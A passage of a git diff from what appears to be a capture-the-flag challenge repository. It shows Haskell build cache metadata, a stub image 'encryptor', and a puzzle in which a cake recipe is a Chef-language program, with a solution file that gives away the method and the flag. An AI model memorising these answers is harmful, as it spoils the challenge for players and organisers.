2","depends":["base-4.15.1.0","deepseq-1.4.5.0","directory-1.3.6.2","filepath-1.4.2.1","unix-2.7.2.2"]},{"type":"configured","id":"profunctors-5.6.2-22e7213ac694a28f8bd36e56fd970c1291e4fc9f7fdcd13fdfd18dfb22a1effe","pkg-name":"profunctors","pkg-version":"5.6.2","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"3d3685119243a7ebf984fa6af03299d156ab7674a432e2e15ecee2a4fd420fb6","pkg-src-sha256":"65955d7b50525a4a3bccdab1d982d2ae342897fd38140d5a94b5ef3800d8c92a","depends":["base-4.15.1.0","base-orphans-0.8.6-B2lepPtD7GPLSjZRm3qaUK","bifunctors-5.5.12-7c584e3a7f0c7328e082f3dd528b5b646148aafbdaad09f2c85ab58a91713cba","comonad-5.0.8-0885b598ea06e85b97b9da06ba7f67d1ae7eba9f25a86cd0aefeea7467d6f3b4","contravariant-1.5.5-6fac33de2e8ba87317db625f54411c76f7fc1b31322462296b6352a68e657539","distributive-0.6.2.1-9603780006d866a15d401e9aee7109d5e2fe2a22f6ba863df2b99cdb9ea3ea6d","tagged-0.8.6.1-7fe3f64bbfaeb79c660c83286542fd1433bdb03901e20f95419a39810224f4c9","transformers-0.5.6.2"],"exe-depends":[],"component-name":"lib"},{"type":"pre-existing","id":"random-1.2.1.1-CPzrEs7ZPWa61oDCTMsEJ2","pkg-name":"random","pkg-version":"1.2.1.1","depends":["base-4.15.1.0","bytestring-0.10.12.1","deepseq-1.4.5.0","mtl-2.2.2","splitmix-0.1.0.4-5zRDmgEzeOi3TFYx8LTim4"]},{"type":"configured","id":"reflection-2.1.6-9dff637dc518b2bfcd232fff914b0ce80c0a5cfd6b4a62239b4fe4d783aabff2","pkg-name":"reflection","pkg-version":"2.1.6","flags":{"slow":false,"template-haskell":true},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"f41afef54a696377bb7591e12969a56e7a4a1cf1d2a32210ab24c6a7aa9bd7ae","pkg-src-sha256":"bf3e14917ebb329a53701a3cce0afe670f20037a0148dbfa5cbfa574ed6ba6cd","depends":["base-4.15.1.0","template-haskell-2.17.0.0"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"repa-3.4.1.5-ff327caeb7dbbba0f2a88b0f7fb8028b1cd06cd9882b338253048f26238c4712","pkg-name":"repa","pkg-version":"3.4.1.5","flags":{"no-template-haskell":false},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"4d94845e66d668345130f75f5de8f7c69139b91495c8c4b5a825014e8985e2fd","pkg-src-sha256":"21e8edc776685d711354aa034679b953990495660290246913a5034a52164a69","depends":["QuickCheck-2.14.2-f0d155ae120746d0dc9854fee5e40742420aaa4916df63c051b69cfe324db328","base-4.15.1.0","bytestring-0.10.12.1","ghc-prim-0.7.0","template-haskell-2.17.0.0","vector-0.12.3.1-cf592738ed3cd9273cc6f31f82cde8868af4bd7dd89b12b8c097819af8dea467"],"exe-depends":[],"component-name":"lib"},{"type":"pre-existing","id":"rts","pkg-name":"rts","pkg-version":"1.0.2","depends":[]},{"type":"configured","id":"scientific-0.3.7.0-d0413f5c60e6f42551334ed7c6cd0010cbc2ae2a4e4edcc4b8082d82d523923c","pkg-name":"scientific","pkg-version":"0.3.7.0","flags":{"bytestring-builder":false,"integer-simple":false},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"76465a82beb2af6ea83ebd00684acc0ffe659e7da7066329931dc8f02fc97507","pkg-src-sha256":"a3a121c4b3d68fb8b9f8c709ab012e48f090ed553609247a805ad070d6b343a9","depends":["base-4.15.1.0","binary-0.8.8.0","bytestring-0.10.12.1","containers-0.6.4.1","deepseq-1.4.5.0","hashable-1.4.0.2-1L673PCfEBgBRMBQbZbNnF","integer-logarithms-1.0.3.1-1b550db91d31a16ebe43ba189981b5d24942c4df0325cc1127cb70e81a0e927e","primitive-0.7.4.0-8109c647604a472f651eac4b614f36309780a3c112e805df47f70492d7e27c97","template-haskell-2.17.0.0","text-1.2.5.0"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"semigroupoids-5.3.7-e30809c0a9d92e0bf87eb4bb2204e63d19e60ba9e1217cfae34f071fcb29db3c","pkg-name":"semigroupoids","pkg-version":"5.3.7","flags":{"comonad":true,"containers":true,"contravariant":true,"distributive":true,"tagged":true,"unordered-containers":true},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"fb1a86c250997c269106645724a67bc358235245cf385b589f855ac070d4ada0","pkg-src-sha256":"6d45cdb6c58c75ca588859b80b2c92b6f48590a03e065c24ce5d767a6a963799","depends":["base-4.15.1.0","base-orphans-0.8.6-B2lepPtD7GPLSjZRm3qaUK","bifunctors-5.5.12-7c584e3a7f0c7328e082f3dd528b5b646148aafbdaad09f2c85ab58a91713cba","comonad-5.0.8-0885b598ea06e85b97b9da06ba7f67d1ae7eba9f25a86cd0aefeea7467d6f3b4","containers-0.6.4.1","contravariant-1.5.5-6fac33de2e8ba87317db625f54411c76f7fc1b31322462296b6352a68e657539","distributive-0.6.2.1-9603780006d866a15d401e9aee7109d5e2fe2a22f6ba863df2b99cdb9ea3ea6d","hashable-1.4.0.2-1L673PCfEBgBRMBQbZbNnF","tagged-0.8.6.1-7fe3f64bbfaeb79c660c83286542fd1433bdb03901e20f95419a39810224f4c9","template-haskell-2.17.0.0","transformers-0.5.6.2","transformers-compat-0.7.2-075921f4026d6a066bbeaf02739bf64d81f1c659babee1ae0725366160ddcb13","unordered-containers-0.2.19.1-42960c106225dd5e247a5e843d543c1a60c1dc07017110818637546abd9ee566"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"semigroups-0.20-66dae852e5d1f13aa54874e916a2998837ce5cbd872f91128948241c1574b2fa","pkg-name":"semigroups","pkg-version":"0.20","flags":{"binary":true,"bytestring":true,"bytestring-builder":false,"containers":true,"deepseq":true,"hashable":true,"tagged":true,"template-haskell":true,"text":true,"transformers":true,"unordered-containers":true},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"925341e6f7eb104cb490bef06eab93bb7995c7c67c51ee938185a2ddefa7aaf2","pkg-src-sha256":"902d2e33c96b40a89de5957f2a9e097197afcc35e257e45b32ebe770993673e1","depends":["base-4.15.1.0"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"shelly-1.10.0-abee6cae93596b0234dc2b2c39028ce77e7eda984b41995c9d8c7e973b4a9f85","pkg-name":"shelly","pkg-version":"1.10.0","flags":{"build-examples":false,"lifted":false},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"f7b319fc7122faa2ad40047096433b6b80e352ce5b4fe54d558d8ab7b9cc811d","pkg-src-sha256":"c54000aff5ed59dc50f75754390c689aedb9792d3b327406caf146983380ff41","depends":["async-2.2.4-A0B9IOxHH19KB8pu15mnoQ","base-4.15.1.0","bytestring-0.10.12.1","containers-0.6.4.1","directory-1.3.6.2","enclosed-exceptions-1.0.3-6ddf14c22cb2ab66a188dfa4431b5bae44c522989d534d50628824168b0a08ea","exceptions-0.10.4","filepath-1.4.2.1","lifted-async-0.10.2.2-aaf796a4d768a035bf9916b5695be98f313489a3a1809c0bf41c102364f526bf","lifted-base-0.2.3.12-f27f5eecc760699fd52b3978e4a7c1a0a1b64ce04aa11358bffdce62767b3943","monad-control-1.0.3.1-f71f0261e6deeecf9df6a63bc48c7a42418c9b3b6af61087ae4e2d20822c633d","mtl-2.2.2","process-1.6.13.2","text-1.2.5.0","time-1.9.3","transformers-0.5.6.2","transformers-base-0.4.6-50adc61172f9a102068dac054f1791af14a9c59fde15df8aae987052c3339e77","unix-compat-0.6-2417f941f0d0ff919f6beeb5fa0bdb9c05081b21051f99de759abd871d1a7bfb"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"split-0.2.3.4-42e365cdcb3812f4cd1eafda2d4eba09ea06dda5992058d133f895c58f7e6763","pkg-name":"split","pkg-version":"0.2.3.4","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"a6df9c3e806ee7cb50bc980a183fc1156f35022a39430dabac0bf9456fe18a4b","pkg-src-sha256":"271fe5104c9f40034aa9a1aad6269bcecc9454bc5a57c247e69e17de996c1f2a","depends":["base-4.15.1.0"],"exe-depends":[],"component-name":"lib"},{"type":"pre-existing","id":"splitmix-0.1.0.4-5zRDmgEzeOi3TFYx8LTim4","pkg-name":"splitmix","pkg-version":"0.1.0.4","depends":["base-4.15.1.0","deepseq-1.4.5.0"]},{"type":"configured","id":"statestack-0.3.1-3bd8e122e84d6e48ff82d50483b4811d0c4dd6ad53b90ad109a5541159589afe","pkg-name":"statestack","pkg-version":"0.3.1","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"3ae02171e0a546efd9dcc9dae358e70f0bbd14be52297422381d00f085321682","pkg-src-sha256":"f9d2a2b7047a867c6eb3233db9528148fd773bdd0bdec29c13eb9f10dce71341","depends":["base-4.15.1.0","mtl-2.2.2","transformers-0.5.6.2"],"exe-depends":[],"component-name":"lib"},{"type":"pre-existing","id":"stm-2.5.0.0","pkg-name":"stm","pkg-version":"2.5.0.0","depends":["array-0.5.4.0","base-4.15.1.0"]},{"type":"configured","id":"storable-record-0.0.6-aaf015e4caee8284c1e98b00aceb1706724a1c0102431ab4c540ea883a6b77ef","pkg-name":"storable-record","pkg-version":"0.0.6","flags":{"buildtests":false,"splitbase":true},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"90174659c1f74a9582efc71fe9aa64963b1f07bac085fc1223cb3bad2a7b6e80","pkg-src-sha256":"cd09cc2dda10c3addcb6a1f71f964fb33fd8ab4d2b4acd94cd08dfbc180b8cb4","depends":["QuickCheck-2.14.2-f0d155ae120746d0dc9854fee5e40742420aaa4916df63c051b69cfe324db328","base-4.15.1.0","semigroups-0.20-66dae852e5d1f13aa54874e916a2998837ce5cbd872f91128948241c1574b2fa","transformers-0.5.6.2","utility-ht-0.0.16-f23f810e6d95e182e7681883f8687b0bc25aa2d64285ebfe855e89d8c4b6be62"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"strict-0.4.0.1-b86d13e63cbf01a0ee564ee32074d67ec0db260cfb8454d63df9ce49f00bf2a6","pkg-name":"strict","pkg-version":"0.4.0.1","flags":{"assoc":true},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"d6205a748eb8db4cd17a7179be970c94598809709294ccfa43159c7f3cc4bf5d","pkg-src-sha256":"dff6abc08ad637e51891bb8b475778c40926c51219eda60fd64f0d9680226241","depends":["assoc-1.0.2-309ba93d3ac9e4dbd49097224b727c34adc2d7f47537b0835a6b626827e18c86","base-4.15.1.0","binary-0.8.8.0","bytestring-0.10.12.1","deepseq-1.4.5.0","ghc-prim-0.7.0","hashable-1.4.0.2-1L673PCfEBgBRMBQbZbNnF","text-1.2.5.0","these-1.1.1.1-68728e2fb92b1729b7e02ff34e3689118d36af5c86965be3c37e60c9dc82021b","transformers-0.5.6.2"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"strings-1.1-c4c5f4632d6504e87a155bf7fb5af386636bf04ad3d30eec5eaedfabcd2e95d2","pkg-name":"strings","pkg-version":"1.1","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"0285dec4c8ab262359342b3e5ef1eb567074669461b9b38404f1cb870c881c5c","pkg-src-sha256":"9b3c3be8b04125cc2a6f26451616608649a15134bc251fcf847e045df8d8e9f7","components":{"lib":{"depends":["base-4.15.1.0","bytestring-0.10.12.1","text-1.2.5.0"],"exe-depends":[]}}},{"type":"configured","id":"svg-builder-0.1.1-befa3fe0d81f4e8fb40609b86af2012818a2e02f4b3ae16d15a8ad299b8e152d","pkg-name":"svg-builder","pkg-version":"0.1.1","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"825ebc18c4e457efa1bc6ca5f90f5abc80566992e8ffdab6ccb782407a46db32","pkg-src-sha256":"4fd0e3f2cbc5601fc69e7eab41588cbfa1150dc508d9d86bf5f3d393880382cc","depends":["base-4.15.1.0","blaze-builder-0.4.2.2-763f0d6de4d8068ca6fb3c6f559f2b603176492ab41ad7286eb49e2c8cea9f53","bytestring-0.10.12.1","hashable-1.4.0.2-1L673PCfEBgBRMBQbZbNnF","text-1.2.5.0","unordered-containers-0.2.19.1-42960c106225dd5e247a5e843d543c1a60c1dc07017110818637546abd9ee566"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"tagged-0.8.6.1-7fe3f64bbfaeb79c660c83286542fd1433bdb03901e20f95419a39810224f4c9","pkg-name":"tagged","pkg-version":"0.8.6.1","flags":{"deepseq":true,"transformers":true},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"29c67d98a4404607f024750ab9c7210dadcbbef4e1944c48c52902f2071b2662","pkg-src-sha256":"f5e0fcf95f0bb4aa63f428f2c01955a41ea1a42cfcf39145ed631f59a9616c02","depends":["base-4.15.1.0","deepseq-1.4.5.0","template-haskell-2.17.0.0","transformers-0.5.6.2"],"exe-depends":[],"component-name":"lib"},{"type":"pre-existing","id":"template-haskell-2.17.0.0","pkg-name":"template-haskell","pkg-version":"2.17.0.0","depends":["base-4.15.1.0","ghc-boot-th-9.0.2","ghc-prim-0.7.0","pretty-1.1.3.6"]},{"type":"configured","id":"temporary-1.3-0883bf76b87b5c9b36154a553accd9894dd6c1d710ef73e8ec48e015396e4c07","pkg-name":"temporary","pkg-version":"1.3","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"3a66c136f700dbf42f3c5000ca93e80b26dead51e54322c83272b236c1ec8ef1","pkg-src-sha256":"8c442993694b5ffca823ce864af95bd2841fb5264ee511c61cf48cc71d879890","depends":["base-4.15.1.0","directory-1.3.6.2","exceptions-0.10.4","filepath-1.4.2.1","random-1.2.1.1-CPzrEs7ZPWa61oDCTMsEJ2","transformers-0.5.6.2","unix-2.7.2.2"],"exe-depends":[],"component-name":"lib"},{"type":"pre-existing","id":"text-1.2.5.0","pkg-name":"text","pkg-version":"1.2.5.0","depends":["array-0.5.4.0","base-4.15.1.0","binary-0.8.8.0","bytestring-0.10.12.1","deepseq-1.4.5.0","ghc-prim-0.7.0","template-haskell-2.17.0.0"]},{"type":"configured","id":"th-abstraction-0.4.3.0-e1af16dd912ebdc84cc756ca3fa78e718e858a45c47e8ec2c24fb882d8aa700a","pkg-name":"th-abstraction","pkg-version":"0.4.3.0","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"db4b3b69398acd8a7c5c8cc8a962da55d65d05d44d5039b51bd3cb5fb3d8400f","pkg-src-sha256":"c8bb13e31d1d22a99168536a35c66e1091a6e4274b9841a023eac52c2bd3de06","depends":["base-4.15.1.0","containers-0.6.4.1","ghc-prim-0.7.0","template-haskell-2.17.0.0"],"exe-depends":[],"component-name":"lib"},{"type":"pre-existing","id":"th-compat-0.1.3-5jmolJLjGjjKeBpoWp7NTH","pkg-name":"th-compat","pkg-version":"0.1.3","depends":["base-4.15.1.0","template-haskell-2.17.0.0"]},{"type":"configured","id":"these-1.1.1.1-68728e2fb92b1729b7e02ff34e3689118d36af5c86965be3c37e60c9dc82021b","pkg-name":"these","pkg-version":"1.1.1.1","flags":{"assoc":true},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"f069e766b8fed73d457fca20cc197f5c539bcdd03d7636e478ddf14dbb67684a","pkg-src-sha256":"d798c9f56e17def441e8f51e54cc11afdb3e76c6a9d1e9ee154e9a78da0bf508","depends":["assoc-1.0.2-309ba93d3ac9e4dbd49097224b727c34adc2d7f47537b0835a6b626827e18c86","base-4.15.1.0","binary-0.8.8.0","deepseq-1.4.5.0","hashable-1.4.0.2-1L673PCfEBgBRMBQbZbNnF"],"exe-depends":[],"component-name":"lib"},{"type":"pre-existing","id":"time-1.9.3","pkg-name":"time","pkg-version":"1.9.3","depends":["base-4.15.1.0","deepseq-1.4.5.0"]},{"type":"pre-existing","id":"transformers-0.5.6.2","pkg-name":"transformers","pkg-version":"0.5.6.2","depends":["base-4.15.1.0"]},{"type":"configured","id":"transformers-base-0.4.6-50adc61172f9a102068dac054f1791af14a9c59fde15df8aae987052c3339e77","pkg-name":"transformers-base","pkg-version":"0.4.6","flags":{"orphaninstances":true},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"6f18f320e371c8954c4b6b211e2fdd5d15a6d6310bd605b9d640f47ede408961","pkg-src-sha256":"323bf8689eb691b122661cffa41a25e00fea7a768433fe2dde35d3da7d32cf90","depends":["base-4.15.1.0","base-orphans-0.8.6-B2lepPtD7GPLSjZRm3qaUK","stm-2.5.0.0","transformers-0.5.6.2","transformers-compat-0.7.2-075921f4026d6a066bbeaf02739bf64d81f1c659babee1ae0725366160ddcb13"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"transformers-compat-0.7.2-075921f4026d6a066bbeaf02739bf64d81f1c659babee1ae0725366160ddcb13","pkg-name":"transformers-compat","pkg-version":"0.7.2","flags":{"five":false,"five-three":true,"four":false,"generic-deriving":true,"mtl":true,"three":false,"two":false},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"044fb9955f63ee138fcebedfdcbe54afe741f2d5892a2d0bdf3a8052bd342643","pkg-src-sha256":"b62c7304c9f3cbc9463d0739aa85cb9489f217ea092b9d625d417514fbcc9d6a","depends":["base-4.15.1.0","ghc-prim-0.7.0","transformers-0.5.6.2"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"type-equality-1-fc3c1b18297f9a67eb196878019cd0408afd4207d9414d93f08d2b415b9cc3b9","pkg-name":"type-equality","pkg-version":"1","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"bb3a34a93ad02866763b325e889ea9f5aa31f7428e32dcaa1cf14015bd21b9cb","pkg-src-sha256":"4728b502a211454ef682a10d7a3e817c22d06ba509df114bb267ef9d43a08ce8","depends":["base-4.15.1.0"],"exe-depends":[],"component-name":"lib"},{"type":"pre-existing","id":"unix-2.7.2.2","pkg-name":"unix","pkg-version":"2.7.2.2","depends":["base-4.15.1.0","bytestring-0.10.12.1","time-1.9.3"]},{"type":"configured","id":"unix-compat-0.6-2417f941f0d0ff919f6beeb5fa0bdb9c05081b21051f99de759abd871d1a7bfb","pkg-name":"unix-compat","pkg-version":"0.6","flags":{"old-time":false},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"db47d4ad77f3f865d162a531d9b759ed30e2722710a8358aa6df1d3fcf83f552","pkg-src-sha256":"b4cd823a6543ad3aca8e740ecf5f44aabde60f1452b5a55655db5c8b7a44d5f8","depends":["base-4.15.1.0","unix-2.7.2.2"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"unordered-containers-0.2.19.1-42960c106225dd5e247a5e843d543c1a60c1dc07017110818637546abd9ee566","pkg-name":"unordered-containers","pkg-version":"0.2.19.1","flags":{"debug":false},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"7d43e557b32a30eeac22e68b8430384bf829b0b2313761026a7f103395b047d5","pkg-src-sha256":"1b27bec5e0d522b27a6029ebf4c4a6d40acbc083c787008e32fb55c4b1d128d2","depends":["base-4.15.1.0","deepseq-1.4.5.0","hashable-1.4.0.2-1L673PCfEBgBRMBQbZbNnF","template-haskell-2.17.0.0"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"utility-ht-0.0.16-f23f810e6d95e182e7681883f8687b0bc25aa2d64285ebfe855e89d8c4b6be62","pkg-name":"utility-ht","pkg-version":"0.0.16","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"8cae2a7f031783ea49a7057f688236d456a3da98a290090a6954b9dd55679ccd","pkg-src-sha256":"bce53223bb77643222331efec5d69a656c0fa2d11be6563e27bc4808a1abbb81","depends":["base-4.15.1.0"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"vector-0.12.3.1-cf592738ed3cd9273cc6f31f82cde8868af4bd7dd89b12b8c097819af8dea467","pkg-name":"vector","pkg-version":"0.12.3.1","flags":{"boundschecks":true,"internalchecks":false,"unsafechecks":false,"wall":false},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"fffbd00912d69ed7be9bc7eeb09f4f475e0d243ec43f916a9fd5bbd219ce7f3e","pkg-src-sha256":"fb4a53c02bd4d7fdf155c0604da9a5bb0f3b3bfce5d9960aea11c2ae235b9f35","depends":["base-4.15.1.0","deepseq-1.4.5.0","ghc-prim-0.7.0","primitive-0.7.4.0-8109c647604a472f651eac4b614f36309780a3c112e805df47f70492d7e27c97"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"vector-th-unbox-0.2.2-01f3896095cd27e538dcabee4788867e9639ad5674fb3c94d372470f32543d73","pkg-name":"vector-th-unbox","pkg-version":"0.2.2","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"96837c9205660006ddf515c5f92bab825cf2e59fc80b7d61b269de72abac92cf","pkg-src-sha256":"8aa4ca464e842706e5b5234b8242d1aafec9ee755659b0e3ff44ecde13a80149","depends":["base-4.15.1.0","template-haskell-2.17.0.0","vector-0.12.3.1-cf592738ed3cd9273cc6f31f82cde8868af4bd7dd89b12b8c097819af8dea467"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"void-0.7.3-d0967a49800328fce1d858db813ade1412d4c38fa5544448d623a8b276a2ebd6","pkg-name":"void","pkg-version":"0.7.3","flags":{"safe":false},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"13d30f62fcdf065e595d679d4ac8b4b0c1bb1a1b73db7b5b5a8f857cb5c8a546","pkg-src-sha256":"53af758ddc37dc63981671e503438d02c6f64a2d8744e9bec557a894431f7317","depends":["base-4.15.1.0"],"exe-depends":[],"component-name":"lib"},{"type":"configured","id":"xml-1.3.14-51ecfccd5177b7c75f8d405a5f5e3669c73dce5d09109d0a4cdc02a1d76b2589","pkg-name":"xml","pkg-version":"1.3.14","flags":{},"style":"global","pkg-src":{"type":"repo-tar","repo":{"type":"secure-repo","uri":"http://hackage.haskell.org/"}},"pkg-cabal-sha256":"c7a33d37c968c769723931a33e4e795f0aadda6cb62e7073ded8a2db52509d95","pkg-src-sha256":"32d1a1a9f21a59176d84697f96ae3a13a0198420e3e4f1c48abbab7d2425013d","components":{"lib":{"depends":["base-4.15.1.0","bytestring-0.10.12.1","text-1.2.5.0"],"exe-depends":[]}}},{"type":"pre-existing","id":"zlib-0.6.3.0-JEDdY1a1MCvHKdNjJAVjbt","pkg-name":"zlib","pkg-version":"0.6.3.0","depends":["base-4.15.1.0","bytestring-0.10.12.1"]}]} \ No newline at end of file diff --git a/corrupted-encryption/dist-newstyle/cache/solver-plan b/corrupted-encryption/dist-newstyle/cache/solver-plan new file mode 100644 index 0000000..37cb137 Binary files /dev/null and b/corrupted-encryption/dist-newstyle/cache/solver-plan differ diff --git a/corrupted-encryption/dist-newstyle/cache/source-hashes b/corrupted-encryption/dist-newstyle/cache/source-hashes new file mode 100644 index 0000000..bfc7011 Binary files /dev/null and b/corrupted-encryption/dist-newstyle/cache/source-hashes differ diff --git a/corrupted-encryption/dist-newstyle/cache/up-to-date b/corrupted-encryption/dist-newstyle/cache/up-to-date new file mode 100644 index 0000000..f71cfa9 Binary files /dev/null and b/corrupted-encryption/dist-newstyle/cache/up-to-date differ diff --git a/corrupted-encryption/dist-newstyle/packagedb/ghc-9.0.2/package.cache b/corrupted-encryption/dist-newstyle/packagedb/ghc-9.0.2/package.cache new file mode 100644 index 0000000..b3cae5c Binary files /dev/null and b/corrupted-encryption/dist-newstyle/packagedb/ghc-9.0.2/package.cache differ diff --git a/corrupted-encryption/dist-newstyle/packagedb/ghc-9.0.2/package.cache.lock b/corrupted-encryption/dist-newstyle/packagedb/ghc-9.0.2/package.cache.lock new file mode 100644 index 0000000..e69de29 diff --git a/corrupted-encryption/encryptor.hs b/corrupted-encryption/encryptor.hs new file mode 100644 index 0000000..3e4d0b7 --- /dev/null +++ b/corrupted-encryption/encryptor.hs @@ -0,0 +1,6 @@ +import Prelude as P +import Graphics.Image as I + +image :: IO() +image = do + rawImage <- readImageExact JPG "./original.jpg" \ No newline at end of file diff --git a/corrupted-encryption/original.jpg b/corrupted-encryption/original.jpg new file mode 100755 index 0000000..f6021b7 Binary files /dev/null and b/corrupted-encryption/original.jpg differ diff --git a/corrupted-encryption/original_gimped.jpg b/corrupted-encryption/original_gimped.jpg new file mode 100644 index 0000000..d9d77f2 Binary files /dev/null and b/corrupted-encryption/original_gimped.jpg differ diff --git a/corrupted-encryption/original_gimped.xcf b/corrupted-encryption/original_gimped.xcf new file mode 100644 index 0000000..bcd62af Binary files /dev/null and b/corrupted-encryption/original_gimped.xcf differ diff --git a/corrupted-encryption/output.jpg b/corrupted-encryption/output.jpg new file mode 100644 index 0000000..0650f75 Binary files /dev/null and b/corrupted-encryption/output.jpg differ diff --git a/cyber-grandmas-cake/README.md b/cyber-grandmas-cake/README.md new file mode 100644 index 0000000..825643d --- /dev/null +++ b/cyber-grandmas-cake/README.md @@ -0,0 +1,16 @@ +# Cybergrandma's cake recipe +## Text +*The year is 2077* + +We were talking to our grandma about the awesome cake she used to make back +in the day when we were younger. She used to make it every christmas it was +*sooooo* good. However a couple years back she passed away, luckily modern +medicine were able to upload her into a computer. Since she can't make the +cake anymore (obviously), she sent us the recipe. I tried to make the cake +but I turned out awful. Can you figure out what is wrong with it? + +## Files +cake.txt + +## How to Deploy +n/a diff --git a/cyber-grandmas-cake/SOLUTION.md b/cyber-grandmas-cake/SOLUTION.md new file mode 100644 index 0000000..b5bbf71 --- /dev/null +++ b/cyber-grandmas-cake/SOLUTION.md @@ -0,0 +1,13 @@ +## Difficulty +easy - 100/500 punten +(Je moet gewoon de Chef compiler vinden en de file runnen) + +## How To Solve +The program is written in the Chef language. All you have to do is run +it with an interpreter like [this](https://github.com/booleancoercion/rchef) one +and the flag will roll right out. + +Other possible interpreters: [java interpreter](https://github.com/joostrijneveld/Chef-Interpreter) + +## Flag +IGCTF{tH3_c4K3_1S_a_L1E} diff --git a/cyber-grandmas-cake/cake.txt b/cyber-grandmas-cake/cake.txt new file mode 100644 index 0000000..e448848 --- /dev/null +++ b/cyber-grandmas-cake/cake.txt @@ -0,0 +1,100 @@ +Tasty cake with chocolate sauce and sprinkles. + +This tasty cake with chocolate sauce and sprinkles is a little +harder to make than regular cake or cake with icing, +but I think it is a lot better. The effort +really pays off in the end. Perfect as a dessert for your family :) + +Ingredients. +70 g flour +67 g chocolate chips +2 eggs +80 ml beaten eggs +70 g butter +113 g yeast +70 g sugar +3 g baking soda +125 g cacao powder +120 ml hot water +0 g cake mixture +1 pinch salt + +Method. +Put butter into mixing bowl. +Add eggs to mixing bowl. +Put yeast into mixing bowl. +Add baking soda to mixing bowl. +Put hot water into mixing bowl. +Add baking soda to mixing bowl. +Put sugar into mixing bowl. +Put beaten eggs into mixing bowl. +Add salt to mixing bowl. +Add baking soda to mixing bowl. +Put chocolate chips into mixing bowl. +Put butter into mixing bowl. +Add salt to mixing bowl. +Put flour into mixing bowl. +Add baking soda to mixing bowl. +Liquefy contents of the mixing bowl. +Liquefy contents of the mixing bowl. +Pour contents of the mixing bowl into the 1st baking dish. +Bake the cake mixture. +Wait until baked. +Serve with chocolate sauce. + +Chocolate sauce. + +Ingredients. +100 g cacao powder +95 g sugar +51 ml milk +1 pinch salt +75 g chocolate chips +2 pinches baking powder +12 g vanilla +pot + +Method. +Clean mixing bowl. +Put sugar into mixing bowl. +Fold pot into mixing bowl. +Put pot into mixing bowl. +Put pot into mixing bowl. +Add baking powder to mixing bowl. +Put pot into mixing bowl. +Put sugar into mixing bowl. +Remove vanilla from mixing bowl. +Put milk into mixing bowl. +Remove baking powder from mixing bowl. +Put sugar into mixing bowl. +Put milk into mixing bowl. +Put chocolate chips into mixing bowl. +Put milk into mixing 